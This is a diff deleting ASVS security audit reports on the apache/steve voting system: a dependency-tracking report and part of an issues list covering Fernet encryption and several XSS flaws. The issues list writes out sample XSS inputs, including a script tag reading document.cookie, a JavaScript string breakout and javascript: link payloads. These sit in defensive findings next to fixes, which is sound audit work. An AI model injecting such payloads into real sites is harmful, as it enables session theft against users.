-def decrypt_votestring(vote_token: bytes, salt: bytes, ciphertext: bytes) -> str:
- b64key = _b64_vote_key(vote_token, salt)
- f = cryptography.fernet.Fernet(b64key)
- return f.decrypt(ciphertext).decode()
-```
-
-**Data Flow:**
-
-```
-argon2-cffi vulnerability → _hash() compromised → gen_opened_key() / gen_vote_token() weakened
- → Vote encryption keys derivable → ALL stored votes decryptable
- → Election integrity (is_tampered) bypassed
-
-cryptography vulnerability → Fernet broken → create_vote() / decrypt_votestring() compromised
- → Vote contents exposed → Complete loss of ballot secrecy
-```
-
-**Proof of Concept:**
-
-Without documented remediation timeframes, the following scenario demonstrates the risk:
-
-1. CVE-2024-XXXXX published for `cryptography` library affecting Fernet encryption
-2. No policy exists defining who must respond, when, or how urgently
-3. Vulnerability remains unpatched indefinitely
-4. Attacker exploits CVE to decrypt all stored votes in database
-5. Complete compromise of election secrecy with no organizational accountability
-
-**Impact:**
-
-A vulnerability in either `argon2-cffi` or the `cryptography` library could directly compromise:
-
-- **Vote secrecy**: All encrypted votes in the database could be decrypted (`decrypt_votestring` in `election.py:283-287`)
-- **Election integrity**: The tamper detection mechanism (`is_tampered` in `election.py:320-333`) relies on `crypto.gen_opened_key()` which depends on both libraries
-- **Key derivation security**: `_hash()` using `argon2.low_level` is the foundation of all vote tokens and election keys
-
-Without documented remediation timeframes, a published CVE in these libraries could remain unpatched indefinitely, with no organizational accountability to apply fixes.
-
-**Remediation:**
-
-Create a **Dependency Security Policy** document (e.g., `DEPENDENCY-POLICY.md`) that includes:
-
-```markdown
-# Dependency Security Policy
-
-## Software Bill of Materials
-See `sbom.json` (CycloneDX format) generated by CI pipeline.
-
-## Component Risk Classification
-
-### Dangerous Functionality Components
-Components performing cryptographic operations, deserialization, or
-direct memory manipulation:
-- `cryptography` (Fernet encryption, HKDF key derivation) — crypto.py
-- `argon2-cffi` (Argon2 key derivation) — crypto.py
-
-### Risky Components
-Third-party components requiring enhanced monitoring:
-- [List components with poor maintenance, EOL status, or vulnerability history]
-
-## Vulnerability Remediation Timeframes
-
-| Severity (CVSS) | Timeframe | Dangerous Functionality | Standard Components |
-|------------------|-----------|------------------------|---------------------|
-| Critical (9.0+) | Immediate | 24 hours | 48 hours |
-| High (7.0-8.9) | Urgent | 72 hours | 7 days |
-| Medium (4.0-6.9) | Planned | 14 days | 30 days |
-| Low (0.1-3.9) | Scheduled | 30 days | 90 days |
-
-## General Update Cadence
-- Security-critical libraries: Monthly review, update within 7 days of patch
-- All other dependencies: Quarterly review and update cycle
-- Automated CVE monitoring via [tool, e.g., GitHub Dependabot/Snyk/OSV-Scanner]
-
-## Monitoring Process
-1. Automated dependency scanning in CI/CD pipeline
-2. CVE notification subscription for all Dangerous Functionality components
-3. Quarterly manual review of all dependencies against known vulnerability databases
-```
-
-Additionally, generate and maintain an SBOM:
-
-```bash
-# Example using CycloneDX
-pip install cyclonedx-bom
-cyclonedx-py requirements > sbom.json
-```
-
----
-
-## Positive Security Patterns
-
-1. **Strong cryptographic primitives**: Use of Argon2 for key derivation with reasonable parameters (`time_cost=2`, `memory_cost=65536`, `parallelism=4`) in `crypto.py:85-94`
-2. **Cryptographically secure randomness**: Consistent use of `secrets` module throughout (`gen_salt`, `create_id`, `shuffle`) — no use of `random` module
-3. **HKDF key stretching**: Proper use of HKDF with salt and info context for deriving encryption keys (`crypto.py:60-68`)
-4. **Anti-tamper verification**: `election.py:320-333` recomputes election data hash to detect modification
-5. **Strict state machine**: Election lifecycle enforced via `assert` statements preventing operations in wrong states
-6. **TLS support**: Server configuration includes certificate/key paths for encrypted transport (`config.yaml.example`, `main.py:67-69`)
-
----
-
-## Architecture Observations
-
-1. **Crypto module is a single point of failure**: `crypto.py` concentrates all cryptographic operations using two third-party libraries. A vulnerability in either library compromises the entire voting system's security guarantees.
-2. **No dependency pinning visible**: No `requirements.txt`, `pyproject.toml`, or lock file was provided for review — version pinning status is unknown.
-3. **Argon2 Type.D usage**: `crypto.py:93` uses `Type.D` (data-dependent) rather than `Type.ID` (hybrid), though the benchmark function at line 137 tests `Type.ID`. This inconsistency should be documented with rationale.
-
----
-
-## Recommendations Summary
-
-### Immediate Actions (0-30 days)
-
-| Priority | Recommendation | Effort | Impact |
-|----------|---------------|--------|--------|
-| **CRITICAL** | Create a Dependency Security Policy with risk-based remediation timeframes, especially for `cryptography` and `argon2-cffi` | Low (documentation) | High |
-| **CRITICAL** | Generate and maintain an SBOM (CycloneDX/SPDX format) listing all dependencies with versions | Low (tooling) | High |
-
-### Short-term Actions (1-3 months)
-
-| Priority | Recommendation | Effort | Impact |
-|----------|---------------|--------|--------|
-| **HIGH** | Implement automated CVE scanning in CI/CD pipeline (e.g., `pip-audit`, OSV-Scanner, Dependabot) | Medium | High |
-| **HIGH** | Document `crypto.py` as containing "dangerous functionality" per ASVS terminology | Low (documentation) | Medium |
-
-### Long-term Actions (3-6 months)
-
-| Priority | Recommendation | Effort | Impact |
-|----------|---------------|--------|--------|
-| **MEDIUM** | Pin all dependency versions in lock file and document update process | Low | Medium |
-
----
-
-## Appendix: Files Analyzed
-
-<details>
-<summary>Click to expand full file list (4 files)</summary>
-
-1. `v3/server/config.yaml.example` (relevance: 10)
-2. `v3/server/main.py` (relevance: 10)
-3. `v3/steve/crypto.py` (relevance: 10)
-4. `v3/steve/election.py` (relevance: 10)
-
-</details>
-
----
-
-**End of Report**
\ No newline at end of file
diff --git a/repos/apache/ASVS/reports/steve/d0aa7e9/dependency_configuration/15.2.1.md b/repos/apache/ASVS/reports/steve/d0aa7e9/dependency_configuration/15.2.1.md
deleted file mode 100644
index aaae8b1..0000000
--- a/repos/apache/ASVS/reports/steve/d0aa7e9/dependency_configuration/15.2.1.md
+++ /dev/null
@@ -1,354 +0,0 @@
-# ASVS 15.2.1 Security Audit Report
-
-## Executive Summary
-
-- **Repository:** apache/steve
-- **Audit Date:** Apr 21, 2026
-- **Auditor:** Tooling Agents
-- **ASVS Requirement:** 15.2.1 — Verify that the application only contains components which have not breached the documented update and remediation time frames.
- - **Level:** 1
- - **Section:** Security Architecture and Dependencies
- - **Section Description:** This section includes requirements for handling risky, outdated, or insecure dependencies and components through dependency management. It also includes using architectural-level techniques such as sandboxing, encapsulation, containerization, and network isolation to reduce the impact of using "dangerous operations" or "risky components" (as defined in the previous section) and prevent loss of availability due to overusing resource-demanding functionality.
-- **Files Analyzed:** 4 relevant out of 4 total, 0 skipped
-
-### Finding Counts
-
-| Severity | Count |
-|----------|-------|
-| Critical | 1 |
-| High | 0 |
-| Medium | 0 |
-| Low | 0 |
-| **Total** | **1** |
-
----
-
-## Security Controls Inventory
-
-### Dependency Management Controls
-
-| Control | Expected Location | Status | Coverage | Purpose |
-|---------|------------------|--------|----------|---------|
-| Software Bill of Materials (SBOM) | Project root (e.g., `pyproject.toml`, `requirements.txt`, `uv.lock`, CycloneDX/SPDX) | **NOT FOUND** | 0% | Track all third-party components and versions for vulnerability management |
-| Pinned dependency versions | Lock file or manifest | **NOT FOUND** | 0% | Ensure reproducible builds and prevent unvetted version updates |
-| Documented update/remediation policy | Project docs or config | **NOT FOUND** | 0% | Define timeframes for addressing vulnerable components per ASVS 15.2.1 |
-| Vulnerability scanning configuration | CI/CD config, `.github/`, etc. | **NOT FOUND** | 0% | Automated detection of known CVEs in dependencies |
-
-### Identified Third-Party Dependencies (from imports)
-
-| Dependency | File(s) | Category | Version Pinned? | Purpose |
-|------------|---------|----------|-----------------|---------|
-| `asfquart` | `main.py` | Web Framework | **Unknown** | HTTP server framework |
-| `asfpy.db` | `election.py` | Database Wrapper | **Unknown** | Database connectivity |
-| `cryptography` (Fernet, HKDF, hashes) | `crypto.py` | Cryptography | **Unknown** | Vote encryption and key derivation |
-| `argon2-cffi` (`argon2.low_level`) | `crypto.py` | Cryptography | **Unknown** | Password hashing and key derivation |
-| `easydict` | `election.py` | Utility | **Unknown** | Dictionary access utilities |
-| `ezt` (referenced in domain context) | Not in provided files | Templating | **Unknown** | Template rendering |
-
----
-
-## Critical File Review
-
-### `v3/steve/crypto.py` — Cryptographic Operations
-
-| Function | Lines | Security Sensitivity | Review Status |
-|----------|-------|---------------------|---------------|
-| `generate_password()` | 36 | HIGH — Password generation | ✅ Uses `secrets` module |
-| `hash_password()` | 87–93 | CRITICAL — Argon2 hashing | ✅ Proper parameters, but library version unknown |
-| `verify_password()` | 96–102 | CRITICAL — Authentication | ✅ Implementation correct, library version unknown |
-| `derive_key()` | 60–66 | CRITICAL — Key derivation | ✅ Uses HKDF, library version unknown |
-| `encrypt()` | 107–117 | CRITICAL — Vote encryption | ✅ Uses Fernet, library version unknown |
-| `decrypt()` | 120–130 | CRITICAL — Vote decryption | ✅ Implementation correct, library version unknown |
-
-### `v3/server/main.py` — Application Entry Point
-
-| Function | Lines | Security Sensitivity | Review Status |
-|----------|-------|---------------------|---------------|
-| `main()` | 72–86 | MEDIUM — Server initialization | ✅ TLS configuration present |
-| Application initialization | 1 | HIGH — Dependency resolution | ❌ No version constraints in `uv run` shebang |
-
-### `v3/steve/election.py` — Election Logic
-
-| Function | Lines | Security Sensitivity | Review Status |
-|----------|-------|---------------------|---------------|
-| `get_metadata()` | 170–178 | MEDIUM — Data exposure | ✅ Excludes sensitive fields |
-| `verify_opened()` | 353–368 | HIGH — Tamper detection | ✅ Key comparison logic correct |
-| Database operations | Various | MEDIUM — SQL injection | ✅ Parameterized queries used |
-
----
-
-## Findings
-
-### Critical Severity
-
-#### ASVS-1521-CRI-001: Complete Absence of SBOM and Dependency Version Tracking
-
-**Severity:** CRITICAL
-**Gap Type:** Type A — No control exists for a foundational requirement
-**CWE:** CWE-1104 (Use of Unmaintained Third Party Components)
-
-**Location:**
-- **File:** Project-wide
-- **Evidence:** No `pyproject.toml`, `requirements.txt`, `uv.lock`, `Pipfile.lock`, or SBOM document found
-- **Related Files:**
- - `v3/server/main.py` (line 1)
- - `v3/steve/crypto.py` (lines 1–10)
- - `v3/steve/election.py` (lines 1–10)
-
-**Related Functions Checked:**
-- All import statements across `main.py`, `crypto.py`, `election.py`
-- Package manager configuration (not found)
-- CI/CD dependency scanning (not found)
-
-**Description:**
-
-The application lacks any mechanism to track, version, or audit third-party dependencies. While `main.py` declares a `uv`-based script runner, no dependency manifest with version constraints exists.
-
-**Vulnerable Code:**
-
-```python
-# main.py (line 1)
-#!/usr/bin/env -S uv run --script
-# No inline script metadata block (PEP 723) present
-# No pyproject.toml or requirements.txt found
-
-# crypto.py (lines 1-10)
-import argon2.low_level # No version constraint
-import cryptography.fernet # No version constraint
-from cryptography.hazmat.primitives.kdf import hkdf # No version constraint
-
-# election.py (lines 1-10)
-import asfpy.db # No version constraint
-from easydict import EasyDict as edict # No version constraint
-
-# main.py (dependencies)
-import asfquart # No version constraint
-```
-
-**Data Flow:**
-1. **Source:** Unversioned dependency declarations across all modules
-2. **Resolution:** `uv run --script` resolves dependencies at install time without constraints
-3. **Sink:** Production runtime environment with unknown component versions
-4. **Missing Control:** No SBOM, no version pinning, no lock file, no documented remediation timeframes
-
-**Why CRITICAL:**
-
-1. **Cryptographic library currency is unverifiable.** The application's entire security model depends on `cryptography` (Fernet encryption of votes) and `argon2-cffi` (key derivation). Historical CVEs in the `cryptography` package (e.g., CVE-2023-49083, CVE-2024-26130) demonstrate that running outdated versions can introduce exploitable vulnerabilities. Without pinned versions, there is no way to verify the deployed version is patched.
-
-2. **ASVS 15.2.1 is rendered completely unauditable.** The requirement asks to verify components "have not breached the documented update and remediation time frames." With no documented timeframes and no recorded component versions, this verification is impossible — the control is entirely absent.
-
-3. **Non-reproducible builds.** Without a lock file, each deployment may resolve to different dependency versions, including ones with known vulnerabilities. The `uv run --script` invocation without a lock file will resolve dependencies at install time.
-
-4. **Supply chain attack surface.** No protection against dependency confusion, typosquatting, or malicious package updates without version pinning.
-
-**Proof of Concept:**
-
-```bash
-# Scenario: Vulnerable cryptography version deployed unknowingly
-
-# Deployment 1 (January 2024)
-$ uv run main.py
-# Resolves to cryptography==41.0.0 (contains CVE-2023-49083)
-
-# Deployment 2 (March 2024)
-$ uv run main.py
-# Resolves to cryptography==42.0.5 (patched)
-
-# No way to verify which version is running in production
-# No audit trail of when dependencies were reviewed
-# No documented policy for remediation timeframes
-```
-
-**Impact:**
-
-- **Confidentiality:** Vulnerable versions of `cryptography` could compromise vote encryption/decryption integrity
-- **Integrity:** Outdated `argon2-cffi` may allow password hash attacks
-- **Availability:** Unpatched dependencies may contain DoS vulnerabilities
-- **Compliance:** ASVS Level 1 requirement failure — this is the minimum baseline
-- **Supply Chain:** No mitigation for dependency confusion attacks
-- **Audit Trail:** No evidence of when dependencies were last reviewed or updated
-
-**Remediation:**
-
-**Immediate Actions:**
-
-1. **Create a dependency manifest with pinned versions:**
-
-```toml
-# pyproject.toml
-[project]
-name = "steve"
-version = "3.0.0"
-requires-python = ">=3.11"
-dependencies = [
- "asfquart>=0.x.x",
- "asfpy>=0.x.x",
- "cryptography>=44.0.0",
- "argon2-cffi>=23.1.0",
- "easydict>=1.13",
-]
-
-[tool.uv]
-# Generate and commit uv.lock for reproducible builds
-```
-
-2. **Generate and commit a lock file:**
-
-```bash
-uv lock
-git add uv.lock pyproject.toml
-git commit -m "Add dependency version tracking"
-```
-
-3. **Generate a formal SBOM (CycloneDX or SPDX format):**
-
-```bash
-pip install cyclonedx-bom
-cyclonedx-py environment -o sbom.json --format json
-git add sbom.json
-```
-
-4. **Document update and remediation timeframes in `SECURITY.md`:**
-
-```markdown
-## Dependency Update Policy
-
-### Remediation Timeframes
-- **Critical CVEs:** Patch within 48 hours of disclosure
-- **High CVEs:** Patch within 7 days
-- **Medium CVEs:** Patch within 30 days
-- **Routine updates:** Monthly dependency review cycle
-- **SBOM refresh:** On every release and quarterly audit
-
-### Process
-1. Automated vulnerability scanning runs daily via pip-audit
-2. Security team reviews findings within 24 hours
-3. Patches applied per timeframes above
-4. SBOM regenerated after each dependency update
-```
-
-5. **Integrate automated vulnerability scanning:**
-
-```bash
-# Install scanning tool
-uv pip install pip-audit
-
-# Add to CI/CD pipeline
-pip-audit --requirement requirements.txt --format json
-
-# Or use osv-scanner
-osv-scanner --lockfile=uv.lock
-```
-
-6. **Enable automated dependency updates:**
-
-```yaml
-# .github/dependabot.yml
-version: 2
-updates:
- - package-ecosystem: "pip"
- directory: "/"
- schedule:
- interval: "weekly"
- open-pull-requests-limit: 10
-```
-
----
-
-## Positive Security Patterns
-
-| Pattern | Location | Assessment | Impact |
-|---------|----------|------------|--------|
-| Use of `secrets` module for all randomness | `crypto.py` lines 36, 107, 117 | ✅ Cryptographically secure RNG throughout | Prevents weak random number generation vulnerabilities |
-| Argon2 with reasonable parameters | `crypto.py` lines 87–93 | ✅ time_cost=2, memory_cost=64MB, parallelism=4 | Resistant to brute-force and GPU attacks |
-| HKDF for key stretching | `crypto.py` lines 60–66 | ✅ Proper key derivation function | Prevents weak key derivation vulnerabilities |
-| TLS configuration support | `config.yaml.example`, `main.py` lines 76–78 | ✅ Certificate/key paths configurable | Enables encrypted communications |
-| Parameterized queries via `asfpy.db` | `election.py` (all `.perform()` calls) | ✅ SQL injection protection | Prevents SQL injection attacks |
-| Tamper detection on election data | `election.py` lines 353–368 | ✅ Opened key comparison | Detects unauthorized election modifications |
-| Sensitive fields excluded from public API | `election.py` lines 170–178 | ✅ SALT and OPENED_KEY not returned in `get_metadata()` | Prevents information disclosure |
-
----
-
-## Architecture Observations
-
-### Dangerous Functionality Identification
-
-`crypto.py` correctly centralizes all cryptographic operations (encryption, decryption, key derivation, hashing). Per the domain context, this module contains "dangerous functionality" and its dependencies (`cryptography`, `argon2-cffi`) are the highest-priority components for version tracking — making the absence of version management especially impactful.
-
-**Risk:** The most security-critical dependencies are completely untracked, creating maximum exposure to known CVEs.
-
-### `uv` Tooling Partial Adoption
-
-The `#!/usr/bin/env -S uv run --script` shebang in `main.py` indicates the project uses `uv` as its package manager. `uv` supports `uv.lock` files for reproducible resolution. The tooling infrastructure exists but the lock file and version constraints are not present in the provided codebase.
-
-**Opportunity:** Minimal work required to implement proper dependency management — the tooling is already in place.
-
-### No Evidence of Dependency Auditing Pipeline
-
-No CI/CD configuration, pre-commit hooks, or scanning tool configuration was found that would automatically flag outdated or vulnerable dependencies.
-
-**Gap:** No automated enforcement of the dependency management policy that needs to be established.
-
----
-
-## Recommendations Summary
-
-### Immediate Actions (P0 — Within 48 Hours)
-
-| Action | Rationale | Effort |
-|--------|-----------|--------|
-| Create `pyproject.toml` with pinned dependency versions and generate `uv.lock` | Enables reproducible builds and version verification — prerequisite for all other controls | 2-4 hours |
-| Generate and maintain a formal SBOM (CycloneDX JSON) | Directly addresses ASVS 15.2.1 auditability | 1 hour |
-| Document update/remediation timeframes in `SECURITY.md` | Establishes the "documented time frames" that ASVS 15.2.1 requires verification against | 2 hours |
-
-### Short-Term Actions (P1 — Within 7 Days)
-
-| Action | Rationale | Effort |
-|--------|-----------|--------|
-| Integrate `pip-audit` or `osv-scanner` into CI/CD | Automated detection of known vulnerabilities in dependencies | 4-6 hours |
-| Enable GitHub Dependabot or Renovate for automated dependency PRs | Reduces mean-time-to-remediation for vulnerable components | 2 hours |
-| Conduct initial vulnerability scan and remediate findings | Establish baseline security posture | 8-16 hours |
-
-### Long-Term Actions (P2 — Within 30 Days)
-
-| Action | Rationale | Effort |
-|--------|-----------|--------|
-| Implement pre-commit hooks for dependency validation | Prevent commits with untracked dependencies | 4 hours |
-| Establish monthly dependency review process | Proactive identification of outdated components | Ongoing |
-| Create dependency update runbook | Standardize remediation procedures | 4-8 hours |
-| Integrate SBOM generation into release pipeline | Ensure SBOM stays current with every release | 4 hours |
-
----
-
-## Appendix: Files Analyzed
-
-<details>
-<summary>Click to expand file list (4 files)</summary>
-
-1. **`v3/server/config.yaml.example`** (relevance: 10/10)
- - Configuration template
- - TLS certificate paths
- - Server configuration
-
-2. **`v3/server/main.py`** (relevance: 10/10)
- - Application entry point
- - Dependency imports
- - Server initialization
- - `uv` script runner declaration
-
-3. **`v3/steve/crypto.py`** (relevance: 10/10)
- - Cryptographic operations
- - Critical dependencies: `cryptography`, `argon2-cffi`
- - Password hashing, encryption, key derivation
-
-4. **`v3/steve/election.py`** (relevance: 10/10)
- - Election logic
- - Database operations
- - Dependencies: `asfpy.db`, `easydict`
- - Tamper detection mechanisms
-
-</details>
-
----
-
-**End of Report**
\ No newline at end of file
diff --git a/repos/apache/ASVS/reports/steve/d0aa7e9/issues.md b/repos/apache/ASVS/reports/steve/d0aa7e9/issues.md
deleted file mode 100644
index 9024168..0000000
--- a/repos/apache/ASVS/reports/steve/d0aa7e9/issues.md
+++ /dev/null
@@ -1,1022 +0,0 @@
-# Security Issues
-
-## Issue: FINDING-001 - AES-128-CBC (Fernet) Used Instead of Approved AEAD Cipher; Incomplete Migration to XChaCha20-Poly1305
-**Labels:** bug, security, priority:critical
-**Description:**
-### Summary
-The application uses Fernet (AES-128-CBC + HMAC-SHA256) for vote encryption instead of an approved AEAD cipher mode. Evidence shows an incomplete migration: HKDF is configured for XChaCha20-Poly1305, but actual encryption still uses Fernet's AES-128-CBC mode. This violates ASVS 11.3.2 (L1) requirements for approved cryptographic modes.
-
-### Details
-- **Affected Files:** `v3/steve/crypto.py` (lines 63-75, 77-80, 84-88), `v3/steve/election.py` (lines 236, 271)
-- **ASVS Sections:** 11.3.2 (L1)
-- **Type:** Type B gap - control EXISTS (HKDF configured for XChaCha20-Poly1305) but NOT APPLIED (Fernet/AES-128-CBC used)
-
-Fernet splits its 32-byte key into 16 bytes for HMAC-SHA256 and 16 bytes for AES-128 encryption. While encrypt-then-MAC mitigates padding oracle attacks, CBC mode remains vulnerable to implementation-level side channels. All vote ciphertext stored in the vote table uses this unapproved cipher mode, providing only AES-128 strength instead of modern AES-256 recommendations for high-sensitivity voting data.
-
-### Remediation
-Complete the migration indicated by code comments. Replace Fernet with XChaCha20-Poly1305 using `nacl.secret.SecretBox`:
-
-```python
-# Derive 32-byte key using existing HKDF setup
-# Create nacl.secret.SecretBox with the key
-# Use box.encrypt() with auto-generated nonce for encryption
-# Use box.decrypt() for decryption
-```
-
-Alternatively, implement AES-256-GCM using `cryptography.hazmat.primitives.ciphers.aead.AESGCM`.
-
-**Migration Strategy Required:** Implement a re-encryption strategy for existing vote data or version-aware decryption path to handle both old Fernet-encrypted votes and new AEAD-encrypted votes during transition.
-
-### Acceptance Criteria
-- [ ] XChaCha20-Poly1305 or AES-256-GCM implemented for vote encryption
-- [ ] All new votes use approved AEAD cipher
-- [ ] Migration path implemented for existing encrypted votes
-- [ ] Unit tests added for new encryption/decryption
-- [ ] Integration tests verify backward compatibility during migration
-- [ ] Security review of cryptographic implementation completed
-
-### References
-- ASVS 11.3.2: Verify that approved modes of operation are used for symmetric encryption
-- Source Report: 11.3.2.md
-
-### Priority
-**Critical** - All vote data uses non-compliant encryption mode
-
----
-
-## Issue: FINDING-002 - Stored XSS via Flash Messages Rendered Without HTML Encoding
-**Labels:** bug, security, priority:critical, xss
-**Description:**
-### Summary
-Flash messages containing user-controlled data (election titles, issue titles, issue IDs) are rendered in HTML without encoding in the `flashes.ezt` template. This enables stored XSS attacks through malicious election/issue titles.
-
-### Details
-- **Affected Files:** `v3/server/templates/flashes.ezt` (lines 1-6), `v3/server/pages.py` (lines 455, 518, 537, 426)
-- **ASVS Sections:** 1.2.1 (L1)
-- **CWE:** CWE-79 (Cross-site Scripting)
-
-User input flows from form submissions through `flash_success()`/`flash_danger()` calls with f-strings containing `form.title` or `iid` directly into the template. The EZT template engine's `[format "html"]` directive exists but is not applied to `[flashes.message]`.
-
-**Attack Vector:** Users create elections/issues with titles like `<script>alert(document.cookie)</script>`, which executes for all users viewing the flash message.
-
-### Remediation
-Apply `[format "html"]` encoding to flash message output in `flashes.ezt`:
-
-```ezt
-[for flashes]
-<div class="alert alert-[flashes.category] alert-dismissible fade show" role="alert">
- [format "html"][flashes.message][end]
- <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
-</div>
-[end]
-```
-
-### Acceptance Criteria
-- [ ] `[format "html"]` applied to all flash message outputs
-- [ ] XSS test cases added with malicious payloads in election/issue titles
-- [ ] Manual testing confirms HTML entities are escaped in flash messages
-- [ ] No legitimate HTML formatting broken by encoding
-- [ ] Security regression tests added
-
-### References
-- ASVS 1.2.1: Verify that user input is properly encoded for output context
-- CWE-79: Improper Neutralization of Input During Web Page Generation
-- Related: FINDING-003, FINDING-004, FINDING-005, FINDING-006
-
-### Priority
-**Critical** - Exploitable by any authenticated user, affects all users viewing elections
-
----
-
-## Issue: FINDING-003 - Stored XSS via User-Controlled Data Rendered in HTML Context Without Encoding Across Multiple Templates
-**Labels:** bug, security, priority:critical, xss
-**Description:**
-### Summary
-User-controlled data (election titles, issue titles/descriptions, owner names, authorization strings) are rendered without HTML encoding across multiple templates (manage.ezt, manage-stv.ezt, admin.ezt, voter.ezt, vote-on.ezt). The same templates correctly use `[format "js,html"]` for JavaScript contexts, demonstrating inconsistent application of security controls.
-
-### Details
-- **Affected Files:** `v3/server/templates/manage.ezt` (lines 241, 283), `manage-stv.ezt` (lines 175, 196), `admin.ezt` (line 19), `voter.ezt` (lines 49, 96), `vote-on.ezt` (lines 88, 131, 163), `v3/server/pages.py` (rewrite_description function)
-- **ASVS Sections:** 1.2.1, 1.3.1 (L1)
-- **CWE:** CWE-79
-
-The `rewrite_description()` function compounds the issue by constructing HTML from user input without pre-escaping, making template-level encoding insufficient. Election administrators can inject persistent JavaScript that executes for all users viewing elections.
-
-### Remediation
-1. Apply `[format "html"]` to all user-controlled template variables in HTML contexts:
- - `<strong>[format "html"][issues.title][end]</strong>`
- - `<div class="description mt-2">[format "html"][issues.description][end]</div>`
- - `<h5 class="card-title">[format "html"][owned.title][end]</h5>`
- - `<h1 class="h4 mb-0 fw-semibold">[format "html"][election.title][end]</h1>`
-
-2. Fix `rewrite_description()` to HTML-encode description text before wrapping in HTML using `html.escape()`
-
-3. Integrate server-side HTML sanitization library (bleach or nh3) into `rewrite_description()`:
-```python
-import bleach
-desc = bleach.clean(issue.description, tags=[], strip=True)
-# Then apply doc: link conversion on sanitized text
-```
-
-### Acceptance Criteria
-- [ ] All user-controlled variables in templates have `[format "html"]` applied
-- [ ] `rewrite_description()` sanitizes input before HTML construction
-- [ ] XSS test suite covers all affected templates
-- [ ] Bleach or nh3 library integrated for HTML sanitization
-- [ ] Code review confirms no additional unencoded outputs exist
-- [ ] Security regression tests added
-
-### References
-- ASVS 1.2.1, 1.3.1: Output encoding and HTML sanitization
-- Source Reports: 1.2.1.md, 1.3.1.md
-- Related: FINDING-002, FINDING-004, FINDING-005, FINDING-006
-
-### Priority
-**Critical** - Exploitable by election administrators, affects all voters
-
----
-
-## Issue: FINDING-004 - Stored XSS via Unencoded Server Data Embedded in JavaScript Context in vote-on.ezt
-**Labels:** bug, security, priority:critical, xss
-**Description:**
-### Summary
-Server-side data (issue titles, candidate labels, candidate names) are embedded directly into an inline JavaScript object (STV_CANDIDATES) without encoding in `vote-on.ezt`. Election administrators can inject JavaScript payloads that execute for every voter accessing the voting page.
-
-### Details
-- **Affected Files:** `v3/server/templates/vote-on.ezt` (lines 215-228), `v3/server/pages.py` (lines 258-263)
-- **ASVS Sections:** 1.2.1, 1.2.3 (L1)
-- **CWE:** CWE-79
-
-The template uses raw EZT variable interpolation within JavaScript string literals, allowing JavaScript injection through quote escaping. While a client-side `escapeHtml()` function exists for dynamic DOM operations, it does not protect the server-rendered inline data block.
-
-**Attack Vector:** Issue title `Test"; alert(1); "` or candidate name with embedded quotes breaks out of string context.
-
-### Remediation
-Use `[format "js"]` or `[format "js,html"]` for all user-controlled values in JavaScript contexts:
-
-```ezt
-const STV_CANDIDATES = {
- "[issues.iid]": {
- seats: [issues.seats],
- title: "[format "js"][issues.title][end]",
- candidates: [
- [for issues.candidates]
- {
- label: "[format "js"][issues.candidates.label][end]",
- name: "[format "js"][issues.candidates.name][end]"
- },
- [end]
- ]
- }
-};
-```
-
-**Alternative (Safer Architecture):** Serialize data as JSON from Python and embed as a data attribute, then parse with `JSON.parse()` client-side.
-
-### Acceptance Criteria
-- [ ] All user-controlled values in JavaScript contexts use `[format "js"]`
-- [ ] XSS test cases with quote/backslash injection in issue titles and candidate names
-- [ ] Consider migration to data-attribute + JSON.parse pattern
-- [ ] Manual testing confirms JavaScript syntax remains valid
-- [ ] Security code review of all inline JavaScript blocks
-
-### References
-- ASVS 1.2.1, 1.2.3: Output encoding for JavaScript context
-- Source Reports: 1.2.1.md, 1.2.3.md
-- Related: FINDING-002, FINDING-003, FINDING-005, FINDING-006
-
-### Priority
-**Critical** - Affects all voters during voting process
-
----
-
-## Issue: FINDING-005 - Reflected XSS via URL Path Parameters in Error Templates Without HTML Encoding
-**Labels:** bug, security, priority:critical, xss
-**Description:**
-### Summary
-URL path parameters (eid, iid, pid) are reflected in error templates (e_bad_eid.ezt, e_bad_iid.ezt, e_bad_pid.ezt) without HTML encoding. Attackers can craft malicious URLs that inject HTML/JavaScript when users click them.
-
-### Details
-- **Affected Files:** `v3/server/templates/e_bad_eid.ezt` (line 8), `e_bad_iid.ezt` (line 8), `e_bad_pid.ezt` (line 8), `v3/server/pages.py` (lines 175, 200, 328)
-- **ASVS Sections:** 1.2.1 (L1)
-- **CWE:** CWE-79
-
-When `load_election()` or `load_election_issue()` decorators catch `ElectionNotFound` exceptions, they set `result.eid/iid/pid` directly from URL-decoded path parameters and render error templates. Templates output these values using raw EZT variable interpolation without `[format "html"]`.
-
-**Attack Vector:** URL like `/election/<script>alert(1)</script>` reflects the script tag in the error message.
-
-### Remediation
-Apply `[format "html"]` to all URL parameter outputs in error templates:
-
-```ezt
-The Election ID ([format "html"][eid][end]) does not exist...
-The Issue ID ([format "html"][iid][end]) does not exist...
-The Person ID ([format "html"][pid][end]) does not exist...
-```
-
-### Acceptance Criteria
-- [ ] `[format "html"]` applied to all eid/iid/pid outputs in error templates
-- [ ] XSS test cases with script tags and HTML entities in URL parameters
-- [ ] Manual testing with malicious URLs confirms encoding works
-- [ ] Verify legitimate IDs still display correctly
-- [ ] Add automated security tests for all error pages
-
-### References
-- ASVS 1.2.1: Output encoding for HTML context
-- Source Report: 1.2.1.md
-- Related: FINDING-002, FINDING-003, FINDING-004, FINDING-006
-
-### Priority
-**Critical** - Exploitable via phishing/social engineering against authenticated users
-
----
-
-## Issue: FINDING-006 - Stored XSS via Unencoded Untrusted Data in Dynamically Built URL
-**Labels:** bug, security, priority:critical, xss
-**Description:**
-### Summary
-The `rewrite_description()` function dynamically builds URLs by extracting filenames from user-controlled issue descriptions using pattern `doc:filename`. These filenames are inserted directly into href attributes without URL encoding or HTML attribute encoding, creating a stored XSS vulnerability.
-
-### Details
-- **Affected Files:** `v3/server/pages.py` (lines 55-63), `v3/server/templates/vote-on.ezt`
-- **ASVS Sections:** 1.2.2 (L1)
-- **CWE:** CWE-79
-
-The filename captured by regex `doc:([^\s]+)` is injected directly into an href attribute and link text. Any authenticated committer can create issues on any election (the `check authz` placeholder is not implemented), making this exploitable by any authenticated user against all voters.
-
-**Attack Vector:** Issue description with `doc:foo" onclick="alert(1)` or `doc:javascript:alert(1)` creates malicious links.
-
-### Remediation
-Apply URL encoding and HTML escaping to `rewrite_description()`:
-
-```python
-import html
-from urllib.parse import quote
-
-def rewrite_description(issue):
- """Rewrite issue description: wrap in <pre> and convert doc:filename to links."""
- import re
- desc = html.escape(issue.description) # HTML-escape the entire description first
- def repl(match):
- filename = match.group(1)
- # URL-encode for path context, HTML-escape for attribute context
- safe_href = html.escape(f'/docs/{issue.iid}/{quote(filename, safe="")}')
- safe_text = html.escape(filename)
- return f'<a href="{safe_href}">{safe_text}</a>'
